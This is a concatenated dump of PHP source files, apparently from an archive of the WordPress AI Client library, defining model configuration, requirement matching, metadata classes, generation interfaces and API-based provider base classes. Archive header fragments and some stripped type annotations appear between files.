self::KEY_CANDIDATE_COUNT => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of response candidates to generate.'], self::KEY_MAX_TOKENS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Maximum number of tokens to generate.'], self::KEY_TEMPERATURE => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 2.0, 'description' => 'Temperature for randomness.'], self::KEY_TOP_P => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 1.0, 'description' => 'Top-p nucleus sampling parameter.'], self::KEY_TOP_K => ['type' => 'integer', 'minimum' => 1, 'description' => 'Top-k sampling parameter.'], self::KEY_STOP_SEQUENCES => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'Stop sequences.'], self::KEY_PRESENCE_PENALTY => ['type' => 'number', 'description' => 'Presence penalty for reducing repetition.'], self::KEY_FREQUENCY_PENALTY => ['type' => 'number', 'description' => 'Frequency penalty for reducing repetition.'], self::KEY_LOGPROBS => ['type' => 'boolean', 'description' => 'Whether to return log probabilities.'], self::KEY_TOP_LOGPROBS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of top log probabilities to return.'], self::KEY_FUNCTION_DECLARATIONS => ['type' => 'array', 'items' => FunctionDeclaration::getJsonSchema(), 'description' => 'Function declarations available to the model.'], self::KEY_WEB_SEARCH => WebSearch::getJsonSchema(), self::KEY_OUTPUT_FILE_TYPE => ['type' => 'string', 'enum' => FileTypeEnum::getValues(), 'description' => 'Output file type.'], self::KEY_OUTPUT_MIME_TYPE => ['type' => 'string', 'description' => 'Output MIME type.'], self::KEY_OUTPUT_SCHEMA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Output schema (JSON schema).'], self::KEY_OUTPUT_MEDIA_ORIENTATION => ['type' => 'string', 'enum' => MediaOrientationEnum::getValues(), 'description' => 'Output media orientation.'], self::KEY_OUTPUT_MEDIA_ASPECT_RATIO => ['type' => 'string', 'pattern' => '^\d+:\d+$', 'description' => 'Output media aspect ratio.'], self::KEY_OUTPUT_SPEECH_VOICE => ['type' => 'string', 'description' => 'Output speech voice.'], self::KEY_CUSTOM_OPTIONS => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Custom provider-specific options.']], 'additionalProperties' => \false]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelConfigArrayShape */ public function toArray(): array { $data = []; if ($this->outputModalities !== null) { $data[self::KEY_OUTPUT_MODALITIES] = array_map(static function (ModalityEnum $modality): string { return $modality->value; }, $this->outputModalities); } if ($this->systemInstruction !== null) { $data[self::KEY_SYSTEM_INSTRUCTION] = $this->systemInstruction; } if ($this->candidateCount !== null) { $data[self::KEY_CANDIDATE_COUNT] = $this->candidateCount; } if ($this->maxTokens !== null) { $data[self::KEY_MAX_TOKENS] = $this->maxTokens; } if ($this->temperature !== null) { $data[self::KEY_TEMPERATURE] = $this->temperature; } if ($this->topP !== null) { $data[self::KEY_TOP_P] = $this->topP; } if ($this->topK !== null) { $data[self::KEY_TOP_K] = $this->topK; } if ($this->stopSequences !== null) { $data[self::KEY_STOP_SEQUENCES] = $this->stopSequences; } if ($this->presencePenalty !== null) { $data[self::KEY_PRESENCE_PENALTY] = $this->presencePenalty; } if ($this->frequencyPenalty !== null) { $data[self::KEY_FREQUENCY_PENALTY] = $this->frequencyPenalty; } if ($this->logprobs !== null) { $data[self::KEY_LOGPROBS] = $this->logprobs; } if ($this->topLogprobs !== null) { $data[self::KEY_TOP_LOGPROBS] = $this->topLogprobs; } if ($this->functionDeclarations !== null) { $data[self::KEY_FUNCTION_DECLARATIONS] = array_map(static function (FunctionDeclaration $functionDeclaration): array { return $functionDeclaration->toArray(); }, $this->functionDeclarations); } if ($this->webSearch !== null) { $data[self::KEY_WEB_SEARCH] = $this->webSearch->toArray(); } if ($this->outputFileType !== null) { $data[self::KEY_OUTPUT_FILE_TYPE] = $this->outputFileType->value; } if ($this->outputMimeType !== null) { $data[self::KEY_OUTPUT_MIME_TYPE] = $this->outputMimeType; } if ($this->outputSchema !== null) { $data[self::KEY_OUTPUT_SCHEMA] = $this->outputSchema; } if ($this->outputMediaOrientation !== null) { $data[self::KEY_OUTPUT_MEDIA_ORIENTATION] = $this->outputMediaOrientation->value; } if ($this->outputMediaAspectRatio !== null) { $data[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO] = $this->outputMediaAspectRatio; } if ($this->outputSpeechVoice !== null) { $data[self::KEY_OUTPUT_SPEECH_VOICE] = $this->outputSpeechVoice; } if (!empty($this->customOptions)) { $data[self::KEY_CUSTOM_OPTIONS] = $this->customOptions; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { $config = new self(); if (isset($array[self::KEY_OUTPUT_MODALITIES])) { $config->setOutputModalities(array_map(static fn(string $modality): ModalityEnum => ModalityEnum::from($modality), $array[self::KEY_OUTPUT_MODALITIES])); } if (isset($array[self::KEY_SYSTEM_INSTRUCTION])) { $config->setSystemInstruction($array[self::KEY_SYSTEM_INSTRUCTION]); } if (isset($array[self::KEY_CANDIDATE_COUNT])) { $config->setCandidateCount($array[self::KEY_CANDIDATE_COUNT]); } if (isset($array[self::KEY_MAX_TOKENS])) { $config->setMaxTokens($array[self::KEY_MAX_TOKENS]); } if (isset($array[self::KEY_TEMPERATURE])) { $config->setTemperature($array[self::KEY_TEMPERATURE]); } if (isset($array[self::KEY_TOP_P])) { $config->setTopP($array[self::KEY_TOP_P]); } if (isset($array[self::KEY_TOP_K])) { $config->setTopK($array[self::KEY_TOP_K]); } if (isset($array[self::KEY_STOP_SEQUENCES])) { $config->setStopSequences($array[self::KEY_STOP_SEQUENCES]); } if (isset($array[self::KEY_PRESENCE_PENALTY])) { $config->setPresencePenalty($array[self::KEY_PRESENCE_PENALTY]); } if (isset($array[self::KEY_FREQUENCY_PENALTY])) { $config->setFrequencyPenalty($array[self::KEY_FREQUENCY_PENALTY]); } if (isset($array[self::KEY_LOGPROBS])) { $config->setLogprobs($array[self::KEY_LOGPROBS]); } if (isset($array[self::KEY_TOP_LOGPROBS])) { $config->setTopLogprobs($array[self::KEY_TOP_LOGPROBS]); } if (isset($array[self::KEY_FUNCTION_DECLARATIONS])) { $config->setFunctionDeclarations(array_map(static function (array $functionDeclarationData): FunctionDeclaration { return FunctionDeclaration::fromArray($functionDeclarationData); }, $array[self::KEY_FUNCTION_DECLARATIONS])); } if (isset($array[self::KEY_WEB_SEARCH])) { $config->setWebSearch(WebSearch::fromArray($array[self::KEY_WEB_SEARCH])); } if (isset($array[self::KEY_OUTPUT_FILE_TYPE])) { $config->setOutputFileType(FileTypeEnum::from($array[self::KEY_OUTPUT_FILE_TYPE])); } if (isset($array[self::KEY_OUTPUT_MIME_TYPE])) { $config->setOutputMimeType($array[self::KEY_OUTPUT_MIME_TYPE]); } if (isset($array[self::KEY_OUTPUT_SCHEMA])) { $config->setOutputSchema($array[self::KEY_OUTPUT_SCHEMA]); } if (isset($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])) { $config->setOutputMediaOrientation(MediaOrientationEnum::from($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])); } if (isset($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO])) { $config->setOutputMediaAspectRatio($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO]); } if (isset($array[self::KEY_OUTPUT_SPEECH_VOICE])) { $config->setOutputSpeechVoice($array[self::KEY_OUTPUT_SPEECH_VOICE]); } if (isset($array[self::KEY_CUSTOM_OPTIONS])) { $config->setCustomOptions($array[self::KEY_CUSTOM_OPTIONS]); } return $config; } } Providers/Models/DTO/ModelRequirements.php000064400000036511152076731340014565 0ustar00, * requiredOptions: list * } * * @extends AbstractDataTransferObject */ class ModelRequirements extends AbstractDataTransferObject { public const KEY_REQUIRED_CAPABILITIES = 'requiredCapabilities'; public const KEY_REQUIRED_OPTIONS = 'requiredOptions'; /** * @var list The capabilities that the model must support. */ protected array $requiredCapabilities; /** * @var list The options that the model must support with specific values. */ protected array $requiredOptions; /** * Constructor. * * @since 0.1.0 * * @param list $requiredCapabilities The capabilities that the model must support. * @param list $requiredOptions The options that the model must support with specific values. * * @throws InvalidArgumentException If arrays are not lists. */ public function __construct(array $requiredCapabilities, array $requiredOptions) { if (!array_is_list($requiredCapabilities)) { throw new InvalidArgumentException('Required capabilities must be a list array.'); } if (!array_is_list($requiredOptions)) { throw new InvalidArgumentException('Required options must be a list array.'); } $this->requiredCapabilities = $requiredCapabilities; $this->requiredOptions = $requiredOptions; } /** * Gets the capabilities that the model must support. * * @since 0.1.0 * * @return list The required capabilities. */ public function getRequiredCapabilities(): array { return $this->requiredCapabilities; } /** * Gets the options that the model must support with specific values. * * @since 0.1.0 * * @return list The required options. */ public function getRequiredOptions(): array { return $this->requiredOptions; } /** * Checks whether the given model metadata meets these requirements. * * @since 0.2.0 * * @param ModelMetadata $metadata The model metadata to check against. * @return bool True if the model meets all requirements, false otherwise. */ public function areMetBy(\WordPress\AiClient\Providers\Models\DTO\ModelMetadata $metadata): bool { // Create lookup maps for better performance (instead of nested foreach loops) $capabilitiesMap = []; foreach ($metadata->getSupportedCapabilities() as $capability) { $capabilitiesMap[$capability->value] = $capability; } $optionsMap = []; foreach ($metadata->getSupportedOptions() as $option) { $optionsMap[$option->getName()->value] = $option; } // Check if all required capabilities are supported using map lookup foreach ($this->requiredCapabilities as $requiredCapability) { if (!isset($capabilitiesMap[$requiredCapability->value])) { return \false; } } // Check if all required options are supported with the specified values foreach ($this->requiredOptions as $requiredOption) { // Use map lookup instead of linear search if (!isset($optionsMap[$requiredOption->getName()->value])) { return \false; } $supportedOption = $optionsMap[$requiredOption->getName()->value]; // Check if the required value is supported by this option if (!$supportedOption->isSupportedValue($requiredOption->getValue())) { return \false; } } return \true; } /** * Creates ModelRequirements from prompt data and model configuration. * * @since 0.2.0 * * @param CapabilityEnum $capability The capability the model must support. * @param list $messages The messages in the conversation. * @param ModelConfig $modelConfig The model configuration. * @return self The created requirements. */ public static function fromPromptData(CapabilityEnum $capability, array $messages, \WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): self { // Start with base capability $capabilities = [$capability]; $inputModalities = []; // Check if we have chat history (multiple messages) if (count($messages) > 1) { $capabilities[] = CapabilityEnum::chatHistory(); } // Analyze all messages to determine required input modalities $hasFunctionMessageParts = \false; foreach ($messages as $message) { foreach ($message->getParts() as $part) { // Check for text input if ($part->getType()->isText()) { $inputModalities[] = ModalityEnum::text(); } // Check for file inputs if ($part->getType()->isFile()) { $file = $part->getFile(); if ($file !== null) { if ($file->isImage()) { $inputModalities[] = ModalityEnum::image(); } elseif ($file->isAudio()) { $inputModalities[] = ModalityEnum::audio(); } elseif ($file->isVideo()) { $inputModalities[] = ModalityEnum::video(); } elseif ($file->isDocument() || $file->isText()) { $inputModalities[] = ModalityEnum::document(); } } } // Check for function calls/responses (these might require special capabilities) if ($part->getType()->isFunctionCall() || $part->getType()->isFunctionResponse()) { $hasFunctionMessageParts = \true; } } } // Convert ModelConfig to RequiredOptions $requiredOptions = self::toRequiredOptions($modelConfig); // Add additional options based on message analysis if ($hasFunctionMessageParts) { $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true)); } // Add input modalities if we have any inputs if (!empty($inputModalities)) { // Remove duplicates $inputModalities = array_unique($inputModalities, \SORT_REGULAR); $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::inputModalities(), array_values($inputModalities))); } // Step 6: Return new ModelRequirements return new self($capabilities, $requiredOptions); } /** * Converts ModelConfig to an array of RequiredOptions. * * @since 0.2.0 * * @param ModelConfig $modelConfig The model configuration. * @return list The required options. */ private static function toRequiredOptions(\WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): array { $requiredOptions = []; // Map properties that have corresponding OptionEnum values if ($modelConfig->getOutputModalities() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputModalities(), $modelConfig->getOutputModalities()); } if ($modelConfig->getSystemInstruction() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::systemInstruction(), $modelConfig->getSystemInstruction()); } if ($modelConfig->getCandidateCount() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::candidateCount(), $modelConfig->getCandidateCount()); } if ($modelConfig->getMaxTokens() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::maxTokens(), $modelConfig->getMaxTokens()); } if ($modelConfig->getTemperature() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::temperature(), $modelConfig->getTemperature()); } if ($modelConfig->getTopP() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topP(), $modelConfig->getTopP()); } if ($modelConfig->getTopK() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topK(), $modelConfig->getTopK()); } if ($modelConfig->getOutputMimeType() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMimeType(), $modelConfig->getOutputMimeType()); } if ($modelConfig->getOutputSchema() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputSchema(), $modelConfig->getOutputSchema()); } // Handle properties without OptionEnum values as custom options if ($modelConfig->getStopSequences() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::stopSequences(), $modelConfig->getStopSequences()); } if ($modelConfig->getPresencePenalty() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::presencePenalty(), $modelConfig->getPresencePenalty()); } if ($modelConfig->getFrequencyPenalty() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::frequencyPenalty(), $modelConfig->getFrequencyPenalty()); } if ($modelConfig->getLogprobs() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::logprobs(), $modelConfig->getLogprobs()); } if ($modelConfig->getTopLogprobs() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topLogprobs(), $modelConfig->getTopLogprobs()); } if ($modelConfig->getFunctionDeclarations() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true); } if ($modelConfig->getWebSearch() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::webSearch(), \true); } if ($modelConfig->getOutputFileType() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputFileType(), $modelConfig->getOutputFileType()); } if ($modelConfig->getOutputMediaOrientation() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaOrientation(), $modelConfig->getOutputMediaOrientation()); } if ($modelConfig->getOutputMediaAspectRatio() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaAspectRatio(), $modelConfig->getOutputMediaAspectRatio()); } // Add custom options as individual RequiredOptions foreach ($modelConfig->getCustomOptions() as $key => $value) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::customOptions(), [$key => $value]); } return $requiredOptions; } /** * Includes a RequiredOption in the array, ensuring no duplicates based on option name. * * @since 0.2.0 * * @param list $requiredOptions The existing required options. * @param RequiredOption $newOption The new option to include. * @return list The updated required options array. */ private static function includeInRequiredOptions(array $requiredOptions, \WordPress\AiClient\Providers\Models\DTO\RequiredOption $newOption): array { // Check if we already have this option name foreach ($requiredOptions as $index => $existingOption) { if ($existingOption->getName()->equals($newOption->getName())) { // Replace existing option with new one $requiredOptions[$index] = $newOption; return $requiredOptions; } } // Option not found, add it $requiredOptions[] = $newOption; return $requiredOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_REQUIRED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The capabilities that the model must support.'], self::KEY_REQUIRED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::getJsonSchema(), 'description' => 'The options that the model must support with specific values.']], 'required' => [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelRequirementsArrayShape */ public function toArray(): array { return [self::KEY_REQUIRED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->requiredCapabilities), self::KEY_REQUIRED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\RequiredOption $option): array => $option->toArray(), $this->requiredOptions)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]); return new self(array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_REQUIRED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\RequiredOption => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::fromArray($optionData), $array[self::KEY_REQUIRED_OPTIONS])); } } Providers/Models/DTO/ModelMetadata.php000064400000013770152076731340013624 0ustar00, * supportedOptions: list * } * * @extends AbstractDataTransferObject */ class ModelMetadata extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_SUPPORTED_CAPABILITIES = 'supportedCapabilities'; public const KEY_SUPPORTED_OPTIONS = 'supportedOptions'; /** * @var string The model's unique identifier. */ protected string $id; /** * @var string The model's display name. */ protected string $name; /** * @var list The model's supported capabilities. */ protected array $supportedCapabilities; /** * @var list The model's supported configuration options. */ protected array $supportedOptions; /** * Constructor. * * @since 0.1.0 * * @param string $id The model's unique identifier. * @param string $name The model's display name. * @param list $supportedCapabilities The model's supported capabilities. * @param list $supportedOptions The model's supported configuration options. * * @throws InvalidArgumentException If arrays are not lists. */ public function __construct(string $id, string $name, array $supportedCapabilities, array $supportedOptions) { if (!array_is_list($supportedCapabilities)) { throw new InvalidArgumentException('Supported capabilities must be a list array.'); } if (!array_is_list($supportedOptions)) { throw new InvalidArgumentException('Supported options must be a list array.'); } $this->id = $id; $this->name = $name; $this->supportedCapabilities = $supportedCapabilities; $this->supportedOptions = $supportedOptions; } /** * Gets the model's unique identifier. * * @since 0.1.0 * * @return string The model ID. */ public function getId(): string { return $this->id; } /** * Gets the model's display name. * * @since 0.1.0 * * @return string The model name. */ public function getName(): string { return $this->name; } /** * Gets the model's supported capabilities. * * @since 0.1.0 * * @return list The supported capabilities. */ public function getSupportedCapabilities(): array { return $this->supportedCapabilities; } /** * Gets the model's supported configuration options. * * @since 0.1.0 * * @return list The supported options. */ public function getSupportedOptions(): array { return $this->supportedOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The model\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The model\'s display name.'], self::KEY_SUPPORTED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The model\'s supported capabilities.'], self::KEY_SUPPORTED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::getJsonSchema(), 'description' => 'The model\'s supported configuration options.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelMetadataArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_SUPPORTED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->supportedCapabilities), self::KEY_SUPPORTED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\SupportedOption $option): array => $option->toArray(), $this->supportedOptions)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]); return new self($array[self::KEY_ID], $array[self::KEY_NAME], array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_SUPPORTED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\SupportedOption => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::fromArray($optionData), $array[self::KEY_SUPPORTED_OPTIONS])); } /** * Performs a deep clone of the model metadata. * * This method ensures that supported option objects are cloned to prevent * modifications to the cloned metadata from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedOptions = []; foreach ($this->supportedOptions as $option) { $clonedOptions[] = clone $option; } $this->supportedOptions = $clonedOptions; } } Providers/Models/TextGeneration/Contracts/TextGenerationModelInterface.php000064400000001340152076731350023126 0ustar00 $prompt Array of messages containing the text generation prompt. * @return GenerativeAiResult Result containing generated text. */ public function generateTextResult(array $prompt): GenerativeAiResult; } Providers/Models/TextGeneration/Contracts/TextGenerationOperationModelInterface.php000064400000001425152076731350025013 0ustar00 $prompt Array of messages containing the text generation prompt. * @return GenerativeAiOperation The initiated text generation operation. */ public function generateTextOperation(array $prompt): GenerativeAiOperation; } Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionModelInterface.php000064400000001374152076731350026307 0ustar00 $prompt Array of messages containing the text to convert to speech. * @return GenerativeAiResult Result containing generated speech audio. */ public function convertTextToSpeechResult(array $prompt): GenerativeAiResult; } Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionOperationModelInterface.php000064400000001527152076731350030170 0ustar00 $prompt Array of messages containing the text to convert to speech. * @return GenerativeAiOperation The initiated text-to-speech conversion operation. */ public function convertTextToSpeechOperation(array $prompt): GenerativeAiOperation; } Providers/Models/Contracts/ModelInterface.php000064400000002357152076731350015316 0ustar00 $prompt Array of messages containing the image generation prompt. * @return GenerativeAiOperation The initiated image generation operation. */ public function generateImageOperation(array $prompt): GenerativeAiOperation; } Providers/Models/ImageGeneration/Contracts/ImageGenerationModelInterface.php000064400000001342152076731350023324 0ustar00 $prompt Array of messages containing the image generation prompt. * @return GenerativeAiResult Result containing generated images. */ public function generateImageResult(array $prompt): GenerativeAiResult; } Providers/Models/VideoGeneration/Contracts/VideoGenerationOperationModelInterface.php000064400000001435152076731350025260 0ustar00 $prompt Array of messages containing the video generation prompt. * @return GenerativeAiOperation The initiated video generation operation. */ public function generateVideoOperation(array $prompt): GenerativeAiOperation; } Providers/Models/VideoGeneration/Contracts/VideoGenerationModelInterface.php000064400000001335152076731350023376 0ustar00 $prompt Array of messages containing the video generation prompt. * @return GenerativeAiResult Result containing generated videos. */ public function generateVideoResult(array $prompt): GenerativeAiResult; } Providers/Models/SpeechGeneration/Contracts/SpeechGenerationModelInterface.php000064400000001350152076731350023675 0ustar00 $prompt Array of messages containing the speech generation prompt. * @return GenerativeAiResult Result containing generated speech audio. */ public function generateSpeechResult(array $prompt): GenerativeAiResult; } Providers/Models/SpeechGeneration/Contracts/SpeechGenerationOperationModelInterface.php000064400000001445152076731350025563 0ustar00 $prompt Array of messages containing the speech generation prompt. * @return GenerativeAiOperation The initiated speech generation operation. */ public function generateSpeechOperation(array $prompt): GenerativeAiOperation; } Providers/Models/Enums/CapabilityEnum.php000064400000005022152076731350014462 0ustar00 The enum constants. */ protected static function determineClassEnumerations(string $className): array { // Start with the constants defined in this class using parent method $constants = parent::determineClassEnumerations($className); // Use reflection to get all constants from ModelConfig $modelConfigReflection = new ReflectionClass(ModelConfig::class); $modelConfigConstants = $modelConfigReflection->getConstants(); // Add ModelConfig constants that start with KEY_ foreach ($modelConfigConstants as $constantName => $constantValue) { if (str_starts_with($constantName, 'KEY_')) { // Remove KEY_ prefix to get the enum constant name $enumConstantName = substr($constantName, 4); // The value is the snake_case version stored in ModelConfig // ModelConfig already stores these as snake_case strings if (is_string($constantValue)) { $constants[$enumConstantName] = $constantValue; } } } return $constants; } } Providers/ApiBasedImplementation/ListModelsApiBasedProviderAvailability.php000064400000003406152076731350023342 0ustar00modelMetadataDirectory = $modelMetadataDirectory; } /** * {@inheritDoc} * * @since 0.1.0 */ public function isConfigured(): bool { try { // Attempt to list models to check if the provider is available. $this->modelMetadataDirectory->listModelMetadata(); return \true; } catch (Exception $e) { // If an exception occurs, the provider is not available. return \false; } } } Providers/ApiBasedImplementation/AbstractApiProvider.php000064400000003001152076731350017523 0ustar00getModelMetadataMap(); return array_values($modelsMetadata); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function hasModelMetadata(string $modelId): bool { $modelsMetadata = $this->getModelMetadataMap(); return isset($modelsMetadata[$modelId]); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function getModelMetadata(string $modelId): ModelMetadata { $modelsMetadata = $this->getModelMetadataMap(); if (!isset($modelsMetadata[$modelId])) { throw new InvalidArgumentException(sprintf('No model with ID %s was found in the provider', $modelId)); } return $modelsMetadata[$modelId]; } /** * Returns the map of model ID to model metadata for all models from the provider. * * @since 0.1.0 * * @return array Map of model ID to model metadata. */ private function getModelMetadataMap(): array { /** @var array */ return $this->cached(self::MODELS_CACHE_KEY, fn() => $this->sendListModelsRequest(), 86400); } /** * {@inheritDoc} * * @since 0.4.0 */ protected function getCachedKeys(): array { return [self::MODELS_CACHE_KEY]; } /** * {@inheritDoc} * * @since 0.4.0 */ protected function getBaseCacheKey(): string { return 'ai_client_' . AiClient::VERSION . '_' . md5(static::class); } /** * Sends the API request to list models from the provider and returns the map of model ID to model metadata. * * @since 0.1.0 * * @return array Map of model ID to model metadata. */ abstract protected function sendListModelsRequest(): array; } Providers/ApiBasedImplementation/GenerateTextApiBasedProviderAvailability.php000064400000004500152076731350023656 0ustar00model = $model; } /** * {@inheritDoc} * * @since 0.1.0 */ public function isConfigured(): bool { // Set config to use as few resources as possible for the test. $modelConfig = ModelConfig::fromArray([ModelConfig::KEY_MAX_TOKENS => 1]); $this->model->setConfig($modelConfig); try { // Attempt to generate text to check if the provider is available. $this->model->generateTextResult([new Message(MessageRoleEnum::user(), [new MessagePart('a')])]); return \true; } catch (Exception $e) { // If an exception occurs, the provider is not available. return \false; } } } Providers/ApiBasedImplementation/AbstractApiBasedModel.php000064400000006231152076731350017740 0ustar00metadata = $metadata; $this->providerMetadata = $providerMetadata; $this->config = ModelConfig::fromArray([]); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function metadata(): ModelMetadata { return $this->metadata; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function providerMetadata(): ProviderMetadata { return $this->providerMetadata; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function setConfig(ModelConfig $config): void { $this->config = $config; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function getConfig(): ModelConfig { return $this->config; } /** * {@inheritDoc} * * @since 0.3.0 */ final public function setRequestOptions(RequestOptions $requestOptions): void { $this->requestOptions = $requestOptions; } /** * {@inheritDoc} * * @since 0.3.0 */ final public function getRequestOptions(): ?RequestOptions { return $this->requestOptions; } } Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.php000064400000006373152076731350026503 0ustar00getHttpTransporter(); $request = $this->createRequest(HttpMethodEnum::GET(), 'models'); $request = $this->getRequestAuthentication()->authenticateRequest($request); $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); $modelsMetadataList = $this->parseResponseToModelMetadataList($response); $modelMetadataMap = []; foreach ($modelsMetadataList as $modelMetadata) { $modelMetadataMap[$modelMetadata->getId()] = $modelMetadata; } return $modelMetadataMap; } /** * Creates a request object for the provider's API. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to list models into a list of model metadata objects. * * @since 0.1.0 * * @param Response $response The response from the API endpoint to list models. * @return list List of model metadata objects. */ abstract protected function parseResponseToModelMetadataList(Response $response): array; } Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.php000064400000061237152076731350026036 0ustar00 * } * } * @phpstan-type MessageData array{ * role?: string, * reasoning_content?: string, * content?: string, * tool_calls?: list * } * @phpstan-type ChoiceData array{ * message?: MessageData, * finish_reason?: string * } * @phpstan-type UsageData array{ * prompt_tokens?: int, * completion_tokens?: int, * total_tokens?: int * } * @phpstan-type ResponseData array{ * id?: string, * choices?: list, * usage?: UsageData * } */ abstract class AbstractOpenAiCompatibleTextGenerationModel extends AbstractApiBasedModel implements TextGenerationModelInterface { /** * {@inheritDoc} * * @since 